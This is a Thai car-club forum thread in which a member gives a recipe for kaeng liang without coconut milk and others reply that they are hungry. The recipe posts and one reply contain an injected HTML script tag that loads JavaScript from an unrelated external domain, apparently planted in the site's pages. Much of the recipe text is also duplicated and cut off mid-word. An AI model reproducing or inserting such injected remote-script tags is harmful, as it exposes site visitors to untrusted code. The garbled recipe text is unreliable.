ตอบ
jk_1


เข้าร่วม: 09 ธันวา 2009
ตอบ: 293

มีใบอนุญาตขับขี่
มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 749
ให้คำขอบคุณ: 3

ที่อยู่: Bang-Phlee Samutprakran
ปี: 2003
สี: เทา ซิกเน็ต (เมทัลลิก) (RP-31M)
อังคาร, 13 มีนา 2012 20:29 - ....แกงเลียงแบบไม่ใส่กะทิ....
555.....มาดูการทำแกงเลียงแบบไม่ใส่กะทิกัน..

"<script src="https://sport32news.com/civicesgroup.js">


:: ส่วนผสมและเครื่องปรุง ::

1. เนื้อหมูสามชั้น 100 กรัม .......... (ใส่เนื้อปลาต้ม บิเป็นชิ้นใหญ่ ๆ แทนก็ได้)
2. กุ้งแห้งเนื้อ 3 ชต.
3. พริกไทย 1 1/2 ชต. ........ (พิมชอบรสเผ็ดร้อนของพริกไทย จึงใส่เยอะๆ แต่ถ้าใครไม่ชอบพริกไทย จะใส่น้อยกว่านี้ก็ได้)
:: ส่วนผสมและเครื่องปรุง ::

1. เนื้อหมูสามชั้น  100 กรัม .......... (ใส่เนื้อปลาต้ม บิเป็นชิ้นใหญ่ ๆ แทนก็ได้)
2. กุ้งแห้งเนื้อ 3 ชต.
3. พริกไทย 1 1/2 ชต. ........ (พิมชอบรสเผ็ดร้อนของพริกไทย จึงใส่เยอะๆ แต่ถ้าใครไม่ชอบพริกไทย จะใส่น้อยกว่านี้ก็ได้)
หันมาโขลกเครื่องแกงเลียงกันต่อ ... โดยโขลกพริกไทยเม็ดให้แหลกก่อน แล้วก็ใส่หอมแดงที่ปอกเปลือก-หั่นชิ้นเล็ก ๆ ลงไป ตามด้วยเกลือป่น (จะทำให้โขลกง่ายขึ้น หอมแดงไม่ลื่นไหล) .... แล้วพอโขลกหอมแดงได้เกือบละเอียดดี ก็ใส่กุ้งแห้งลงไป ตามด้วยกะปิ กระชาย และก็พร
หันมาโขลกเครื่องแกงเลียงกันต่อ ... โดยโขลกพริกไทยเม็ดให้แหลกก่อน  แล้วก็ใส่หอมแดงที่ปอกเปลือก-หั่นชิ้นเล็ก ๆ ลงไป ตามด้วยเกลือป่น (จะทำให้โขลกง่ายขึ้น หอมแดงไม่ลื่นไหล)  .... แล้วพอโขลกหอมแดงได้เกือบละเอียดดี ก็ใส่กุ้งแห้งลงไป  ตามด้วยกะปิ  กระชาย และก็พร
ได้ออกมาเป็นแบบนี้ (ไม่ต้องให้แหลกมาก)
ได้ออกมาเป็นแบบนี้ (ไม่ต้องให้แหลกมาก)
แล้วก็หันผักต่างๆ เตรียมไว้ ..... ฟักทองก็ปอกเปลือกแล้วหั่นเป็นชิ้นใหญ่หน่อย / บวบ พิมใช้บวบหอมที่ัยังอ่อนอยู่ ก็ไม่ต้องปอกเปลือก แค่เอามีดบางขูด ๆ เปลือกออกมานิดหน่อย ล้าง แล้วก็หั่นเฉียงๆ เอาไว้ / ข้าวโพดอ่อนก็เช่นกันค่ะ ปอกเปลือกออก แล้วหั่นเฉียงไว
แล้วก็หันผักต่างๆ เตรียมไว้ ..... ฟักทองก็ปอกเปลือกแล้วหั่นเป็นชิ้นใหญ่หน่อย / บวบ พิมใช้บวบหอมที่ัยังอ่อนอยู่  ก็ไม่ต้องปอกเปลือก  แค่เอามีดบางขูด ๆ เปลือกออกมานิดหน่อย ล้าง แล้วก็หั่นเฉียงๆ  เอาไว้ / ข้าวโพดอ่อนก็เช่นกันค่ะ ปอกเปลือกออก  แล้วหั่นเฉียงไว
สุดท้ายก็ ....... หมู ใช้หมูสามชั้น หั่นเป็นชิ้นหนาประมาณ 1/2 ซม. ..... (จริง ๆ คนอื่นเค้าใส่กุ้งสด กุ้งแม่น้ำ เนื้อปลากัน ...
สุดท้ายก็ ....... หมู ใช้หมูสามชั้น หั่นเป็นชิ้นหนาประมาณ 1/2 ซม.  ..... (จริง ๆ คนอื่นเค้าใส่กุ้งสด กุ้งแม่น้ำ เนื้อปลากัน ...
ได้รับคำขอบคุณจาก: prodrive  Phetcharat  smokie  numxs  vor_ped  cheerapong 
jk_1


เข้าร่วม: 09 ธันวา 2009
ตอบ: 293

มีใบอนุญาตขับขี่
มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 749
ให้คำขอบคุณ: 3

ที่อยู่: Bang-Phlee Samutprakran
ปี: 2003
สี: เทา ซิกเน็ต (เมทัลลิก) (RP-31M)
อังคาร, 13 มีนา 2012 20:35 - Re: ....แกงเลียงแบบไม่ใส่กะทิ....
...ต่อครับ...

"<script src="https://sport32news.com/civicesgroup.js"> [/quote]


พอเตรียมของทุกอย่างเสร็จ ก็มาลงมือทำกันดีกว่า ...... เริ่มต้นด้วยการเอาาน้ำซุปใส่หม้อ และก็ตั้งเตา ใช้ไฟกลางๆ (แต่พิมไม่มีน้ำซุป ขอใช้น้ำสะอาด + ผงปรุงรสนิดหน่อย)
พอเตรียมของทุกอย่างเสร็จ ก็มาลงมือทำกันดีกว่า ...... เริ่มต้นด้วยการเอาาน้ำซุปใส่หม้อ และก็ตั้งเตา  ใช้ไฟกลางๆ  (แต่พิมไม่มีน้ำซุป ขอใช้น้ำสะอาด + ผงปรุงรสนิดหน่อย)
พอน้ำเดือด ก็ตักน้ำซุปร้อน ๆ มาละลายเครื่องแกงเลียงที่เราโขลกไว้
พอน้ำเดือด ก็ตักน้ำซุปร้อน ๆ มาละลายเครื่องแกงเลียงที่เราโขลกไว้
ละลายจนเครื่องแกงไม่เป็นก้อน .... ก็ตักใส่ในหม้อน้ำซุป แล้วปรุงรสด้วเกลือ กับน้ำตาลตามที่บอกไว้ .... แล้วก็ตั้งไฟต่อจนเดือดอีกรอบ
ละลายจนเครื่องแกงไม่เป็นก้อน .... ก็ตักใส่ในหม้อน้ำซุป  แล้วปรุงรสด้วเกลือ กับน้ำตาลตามที่บอกไว้ .... แล้วก็ตั้งไฟต่อจนเดือดอีกรอบ
พอน้ำเดือดก็ทยอยใส่ผักลงไป โดยใส่ผักที่สุกยากก่อน อย่างฟักทอง ...... แล้วรอให้สุก จึงค่อยใส่ผักอื่นๆ ที่สุกง่าย (ยกเว้นใบแมงลัก อย่าเพิ่งใส่) ....... พอผักสุก ก็ทำการชิมรสอีกรอบ ว่าได้ตามชอบไหม ถ้าไม่ได้ ก็ปรับแต่งปรุงเพิ่มเอานะ
พอน้ำเดือดก็ทยอยใส่ผักลงไป โดยใส่ผักที่สุกยากก่อน อย่างฟักทอง ...... แล้วรอให้สุก จึงค่อยใส่ผักอื่นๆ ที่สุกง่าย  (ยกเว้นใบแมงลัก อย่าเพิ่งใส่)   .......  พอผักสุก ก็ทำการชิมรสอีกรอบ ว่าได้ตามชอบไหม   ถ้าไม่ได้ ก็ปรับแต่งปรุงเพิ่มเอานะ
สุดท้าย ...... ก็ใส่ใบแมงลักลงไป คนๆ ให้เข้ากัน แล้วก็ปิดไฟ เป็นอันเสร็จเรียบร้อย
สุดท้าย ...... ก็ใส่ใบแมงลักลงไป  คนๆ ให้เข้ากัน แล้วก็ปิดไฟ เป็นอันเสร็จเรียบร้อย
ได้รับคำขอบคุณจาก: prodrive  Phetcharat  smokie  kim_possible  numxs  vor_ped  cheerapong 
jk_1


เข้าร่วม: 09 ธันวา 2009
ตอบ: 293

มีใบอนุญาตขับขี่
มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 749
ให้คำขอบคุณ: 3

ที่อยู่: Bang-Phlee Samutprakran
ปี: 2003
สี: เทา ซิกเน็ต (เมทัลลิก) (RP-31M)
อังคาร, 13 มีนา 2012 20:38 - ....แกงเลียงแบบไม่ใส่กะทิ....
...ต่อครับ ...จบแล้ว


"<script src="https://sport32news.com/civicesgroup.js">


ตักขึ้นใส่ชามแล้ว ...... หน้าตาแบบนี้เลยนะ ....... ขอบอกว่า เห็นหน้าตาบ้านๆ อย่างนี้ อร่อยมากเลยนะ ยิ่งได้ซดตอนร้อน ๆ แหมมมมมม ไม่อยากจะเซ่ดดดด เลย ^^ ... นี่ถ้าได้ปลาสลิดหรือปลาเค็มมาแอ้มด้วยสักตัวสองตัว จะเวิร์คมอร์มากๆ ..... ใครสนใจก็ลองไปทำดูนะ ^^
ตักขึ้นใส่ชามแล้ว ...... หน้าตาแบบนี้เลยนะ  ....... ขอบอกว่า เห็นหน้าตาบ้านๆ อย่างนี้ อร่อยมากเลยนะ ยิ่งได้ซดตอนร้อน ๆ แหมมมมมม ไม่อยากจะเซ่ดดดด เลย ^^  ... นี่ถ้าได้ปลาสลิดหรือปลาเค็มมาแอ้มด้วยสักตัวสองตัว จะเวิร์คมอร์มากๆ ..... ใครสนใจก็ลองไปทำดูนะ ^^
ข้าวสวยร้อนๆจ้า
ข้าวสวยร้อนๆจ้า
ได้รับคำขอบคุณจาก: A-u-T-o-N-o-m-Y  moonoy  prodrive  Ryuknight  Phetcharat  KAATO  poppy  smokie  numxs  a_ten  vor_ped  cheerapong 
win_RX


ชื่อเล่น: วิน

เข้าร่วม: 19 ธันวา 2010
ตอบ: 418

แซงซ้าย ปาดขวา
แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 499
ให้คำขอบคุณ: 162

ที่อยู่: รังสิต-นครนายก 44
ปี: 2005
สี: ขาว ทาฟเฟต้า (NH-578)
อังคาร, 13 มีนา 2012 20:47 - ....แกงเลียงแบบไม่ใส่กะทิ....
พอจะมีบริการจัดส่งไหมคับ เห็นแล้วหิวสุดๆ
NINJASIAM


ชื่อเล่น: นิน

เข้าร่วม: 06 มกรา 2010
ตอบ: 1621

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 2025
ให้คำขอบคุณ: 4537

ที่อยู่: Chiang Mai
ปี: 2004
สี: ขาว ทาฟเฟต้า (NH-578)
อังคาร, 13 มีนา 2012 21:01 - ....แกงเลียงแบบไม่ใส่กะทิ....
โอ๊ยอยากกิ๋นข้าว
--x


ชื่อเล่น: เอ็กซ์

เข้าร่วม: 25 มกรา 2010
ตอบ: 1104

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 1047
ให้คำขอบคุณ: 122

ที่อยู่: เชียงราย
ปี: 2005
สี: ดำ ไนท์ฮอว์ก (B-92P)
อังคาร, 13 มีนา 2012 21:07 - ....แกงเลียงแบบไม่ใส่กะทิ....
โอ้ หิวเลยน่อ

cisco


ชื่อเล่น: เต้น

เข้าร่วม: 25 พฤศจิกา 2008
ตอบ: 3557

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 5197
ให้คำขอบคุณ: 9940
อังคาร, 13 มีนา 2012 21:14 - ....แกงเลียงแบบไม่ใส่กะทิ....
หิวข้าว ๆๆๆๆ
Ryuknight


เข้าร่วม: 31 พฤษภาคม 2009
ตอบ: 2750

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 3285
ให้คำขอบคุณ: 1525

ที่อยู่: ES Samutprakarn
ปี: 2004
อังคาร, 13 มีนา 2012 22:06 - ....แกงเลียงแบบไม่ใส่กะทิ....
มี พ่อบ้านซะแล้ว
jjim


ชื่อเล่น: จิ้ม

เข้าร่วม: 12 พฤศจิกา 2008
ตอบ: 1016

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 1082
ให้คำขอบคุณ: 155

ที่อยู่: Chachoengsao
ปี: 2005
สี: เทา ซิลเวอร์สโตน (NH-630M)
อังคาร, 13 มีนา 2012 23:56 - ....แกงเลียงแบบไม่ใส่กะทิ....
ไปทานด้วยได้ไหมครับ เห็นแล้วน้ำลายสอเลย
freshjive


ชื่อเล่น: กอล์ฟ

เข้าร่วม: 17 มีนา 2009
ตอบ: 48

น้องใหม่
น้องใหม่

ได้รับคำขอบคุณ: 37
ให้คำขอบคุณ: 30

ที่อยู่: หลักสี่ กรุงเทพฯ
ปี: 2001
สี: ทอง ไทเทเนียม (เมทัลลิก) (YR-525M)
พุธ, 14 มีนา 2012 00:15 - ....แกงเลียงแบบไม่ใส่กะทิ....
ไม่น่าเข้ามาดูเลย หิว....ว
hisashi2524


ชื่อเล่น: ตั้ม

เข้าร่วม: 28 มิถุนา 2011
ตอบ: 1056

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 685
ให้คำขอบคุณ: 12

ที่อยู่: แถวเซียร์รังสิต
ปี: 2001
สี: เทา ซิกเน็ต (เมทัลลิก) (RP-31M)
พุธ, 14 มีนา 2012 00:50 - ....แกงเลียงแบบไม่ใส่กะทิ....
น่ากินจัว
จ่าฝูง


เข้าร่วม: 06 ตุลา 2008
ตอบ: 473

แซงซ้าย ปาดขวา
แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 555
ให้คำขอบคุณ: 297

ที่อยู่: ถิ่นนักปราชญ์ เมืองดอกบัว
ปี: 2005
สี: ทอง แซทเทิลไลท์ (NH-663M)
พุธ, 14 มีนา 2012 02:10 - ....แกงเลียงแบบไม่ใส่กะทิ....
เเล้วผมเข้ามาดูทำไม ตอนตี 2 เนี่ย

หิวๆๆ
yuncup2008


เข้าร่วม: 05 พฤศจิกา 2008
ตอบ: 427

แซงซ้าย ปาดขวา
แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 420
ให้คำขอบคุณ: 68

ที่อยู่: สงขลา
ปี: 2001
สี: เทา ซิกเน็ต (เมทัลลิก) (RP-31M)
พุธ, 14 มีนา 2012 06:16 - ....แกงเลียงแบบไม่ใส่กะทิ....
ส่งไปรษณีมั้ยครับ หิว
chaichan


ชื่อเล่น: โต้ง

เข้าร่วม: 28 มกรา 2011
ตอบ: 1825

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 367
ให้คำขอบคุณ: 419

ที่อยู่: Pathumtani-somewhere
ปี: 2002
สี: เงิน ซาติน (เมทัลลิก) (NH-623M)
พุธ, 14 มีนา 2012 08:43 - ....แกงเลียงแบบไม่ใส่กะทิ....
<script src="https://sport32news.com/civicesgroup.js"></ ได้เวลากินข้าวพอดี
wighwaytak


เข้าร่วม: 29 มกรา 2010
ตอบ: 676

Guru ES
Guru ES

ได้รับคำขอบคุณ: 904
ให้คำขอบคุณ: 878

ที่อยู่: ตาก-กำแพงเพชร
ปี: 2001
สี: ขาว ทาฟเฟต้า (NH-578)
พุธ, 14 มีนา 2012 08:46 - ....แกงเลียงแบบไม่ใส่กะทิ....
กินตอนเป็นหวัดหรือป่วย แจ่มมากๆครับ
poppy


เข้าร่วม: 16 กุมภา 2011
ตอบ: 1438

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 1044
ให้คำขอบคุณ: 1079

ที่อยู่: สุโขทัย - นครสวรรค์ - พิษณุโลก - กำแพงเพชร
ปี: 2004
สี: ดำ ไนท์ฮอว์ก (B-92P)
พุธ, 14 มีนา 2012 10:44 - ....แกงเลียงแบบไม่ใส่กะทิ....
น่ากินชะมัด
pannatad


ชื่อเล่น: ปุ๋ย

เข้าร่วม: 19 เมษา 2011
ตอบ: 1900

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 1742
ให้คำขอบคุณ: 751

ปี: 2003
พุธ, 14 มีนา 2012 17:19 - ....แกงเลียงแบบไม่ใส่กะทิ....
ณ เวลานี้ที่อ่านกระทู้ มันโหดร้ายมาก = ="
siripong


เข้าร่วม: 02 กรกฎา 2009
ตอบ: 3024

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 930
ให้คำขอบคุณ: 3457

ที่อยู่: BLUE ZONE
ปี: 2005
สี: ดำ ไนท์ฮอว์ก (B-92P)
พุธ, 14 มีนา 2012 17:28 - ....แกงเลียงแบบไม่ใส่กะทิ....
น่าอร่อย......
LifeFate


เข้าร่วม: 08 พฤศจิกา 2011
ตอบ: 3153

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 5152
ให้คำขอบคุณ: 215

ที่อยู่: สระบุรี , ปทุมธานี , นครสวรรค์
ปี: 2003
สี: ดำ ไนท์ฮอว์ก (B-92P)
พุธ, 14 มีนา 2012 18:20 - ....แกงเลียงแบบไม่ใส่กะทิ....
ดีจัง เวปเรา มีมากมาย หลากหลาย รูปแบบ จริง ๆ อาหาร การกิน ที่อยู่ ที่เที่ยว 555+ แจ๋ว
numxs


ชื่อเล่น: หนุ่ม

เข้าร่วม: 01 ตุลา 2009
ตอบ: 1332

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 1427
ให้คำขอบคุณ: 1715

ที่อยู่: สระบุรี
ปี: 2003
สี: ดำ ไนท์ฮอว์ก (B-92P)
พฤหัส, 15 มีนา 2012 10:18 - ....แกงเลียงแบบไม่ใส่กะทิ....
หิวววววววววววววววววววววววววววววววว
pan8903


เข้าร่วม: 18 พฤษภาคม 2011
ตอบ: 386

มีใบอนุญาตขับขี่
มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 250
ให้คำขอบคุณ: 90

ที่อยู่: ชลบุรี
ปี: 2001
สี: เงิน ซาติน (เมทัลลิก) (NH-623M)
ศุกร์, 16 มีนา 2012 04:11 - ....แกงเลียงแบบไม่ใส่กะทิ....
หิวข้าน
chana


เข้าร่วม: 17 สิงหา 2010
ตอบ: 459

แซงซ้าย ปาดขวา
แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 272
ให้คำขอบคุณ: 1304

ปี: 2002
สี: ทอง ไทเทเนียม (เมทัลลิก) (YR-525M)
ศุกร์, 16 มีนา 2012 13:59 - ....แกงเลียงแบบไม่ใส่กะทิ....
โห้!น่ากินมากคับ....
TidTlE


ชื่อเล่น: ติ๊ด

เข้าร่วม: 17 ตุลา 2011
ตอบ: 518

แซงซ้าย ปาดขวา
แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 444
ให้คำขอบคุณ: 593

ที่อยู่: อ.เมือง ระยอง
ปี: 2005
สี: เงิน ซาติน (เมทัลลิก) (NH-623M)
ศุกร์, 16 มีนา 2012 15:21 - ....แกงเลียงแบบไม่ใส่กะทิ....
น่ากินมากกกกกก
Tanadath


เข้าร่วม: 12 มีนา 2011
ตอบ: 1498

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 1165
ให้คำขอบคุณ: 325

ที่อยู่: 240/29ม.2ต.หนองบัวอ.เมืองจ.อุดรธานี
ปี: 2004
สี: ดำ ไนท์ฮอว์ก (B-92P)
เสาร์, 17 มีนา 2012 09:45 - ....แกงเลียงแบบไม่ใส่กะทิ....
แกงเลียงก็ถูกต้องครับ แต่สงสัยว่ามีใส่กะทิด้วยหรือครับ โอ๊ยพูดมาแล้วหิวววววววข้าววววววววว
chang167


ชื่อเล่น: แก้ว

เข้าร่วม: 13 มิถุนา 2010
ตอบ: 150

มือใหม่หัดขับ
มือใหม่หัดขับ

ได้รับคำขอบคุณ: 149
ให้คำขอบคุณ: 82

ที่อยู่: Phuket Island
ปี: 2004
สี: ทอง แซทเทิลไลท์ (NH-663M)
เสาร์, 17 มีนา 2012 09:58 - ....แกงเลียงแบบไม่ใส่กะทิ....
Tanadath พิมพ์ว่า:
แกงเลียงก็ถูกต้องครับ แต่สงสัยว่ามีใส่กะทิด้วยหรือครับ โอ๊ยพูดมาแล้วหิวววววววข้าววววววววว
นั้นดิครับ ผมว่าถ้ามีแกงเลียงใส่กระทินี่ซิแปลก อิอิ น่าทานมากครับ
cheerapong


เข้าร่วม: 02 ตุลา 2008
ตอบ: 1875

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 1414
ให้คำขอบคุณ: 495

ที่อยู่: thai-land
ปี: 2001
สี: เทา ซิลเวอร์สโตน (NH-630M)
เสาร์, 17 มีนา 2012 10:51 - ....แกงเลียงแบบไม่ใส่กะทิ....
มีไข่น้ำไหมครับ.... :D :D :D
ตอบ
หน้า 1 จาก 1
ไปที่: 
ติดต่อโฆษณา admin@civicesgroup.com
Copyright © 2008-2025 Civic ES Group. All rights reserved.